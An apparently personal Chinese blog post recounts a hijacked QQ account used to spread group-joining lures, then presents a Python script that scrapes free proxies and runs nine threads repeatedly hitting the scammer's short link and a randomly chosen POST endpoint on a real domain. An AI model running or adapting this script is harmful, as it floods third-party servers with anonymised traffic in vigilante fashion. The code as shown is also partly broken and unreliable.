事情是这样的,晚上打开电脑,突然发现QQ被冻结了,搞了半天才拿回控制权,然后发现关了快十年的空间被人打开了!还连着帮我发了一堆说说和照片!
说说和照片是诱导加群的,所以就不放了!于是就顺藤摸瓜加到了这个群!
群管理热情接待了我!
import threading #导入多线程库
import requests #导入requests库模拟访问
import time #导入时间库
from lxml import etree
def pnw(num=1): #定义一个循环的函数
while 0 < int(num): # 当0<num=1时,一直执行以下代码
# 设置请求头
headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1"}
# 依次遍历生成2-99
for i in range(2, 100):
url = "https://www.kuaidaili.com/free/inha/" + str(i) + "/" # 爬取的免费ip
response = requests.get(url, headers=headers).text # 获得网页文本数据
response_xpath = etree.HTML(response) # 转换为xpath可用结构
ips = response_xpath.xpath('//*[@id="list"]/table/tbody/tr/td[1]/text()') # ip的信息
dks = response_xpath.xpath('//*[@id="list"]/table/tbody/tr/td[2]/text()') # 端口的信息
https = response_xpath.xpath('//*[@id="list"]/table/tbody/tr[2]/td[4]/text()') # http信息
for ip, dk, http in zip(ips, dks, https):
proxy = "http://" + ip + ":" + dk # 拼接ip
print(proxy)
proxies = {"http": proxy}
url = "http://url.cn/5z0Sqsw" #发给我的注册链接
res = requests.get(url,proxies=proxies) #用requests的get()函数来访问 设置ip
print(res) #打印查看状态 Response [200]代表成功
url = "https://asd8654.com/api_fusion/Notice/getMarqueeNotice" #随便找了个post网址,没找到注册的post
res = requests.post(url,proxies=proxies) #用requests的post()函数访问 设置ip
print(res) #打印查看状态 Response [200]代表成功
time.sleep(5) #休息5s
if __name__ == '__main__':
t1 = threading.Thread(target=pnw, args=("1")) #第一个线程
t2 = threading.Thread(target=pnw, args=("2")) #第二个线程
t3 = threading.Thread(target=pnw, args=("3")) #以此类推
t4 = threading.Thread(target=pnw, args=("4"))
t5 = threading.Thread(target=pnw, args=("5"))
t6 = threading.Thread(target=pnw, args=("6"))
t7 = threading.Thread(target=pnw, args=("7"))
t8 = threading.Thread(target=pnw, args=("8"))
t9 = threading.Thread(target=pnw, args=("9"))
t1.start() #启动第一个线程
t2.start() #以此类推
t3.start()
t4.start()
t5.start()
t6.start()
t7.start()
t8.start()
t9.start()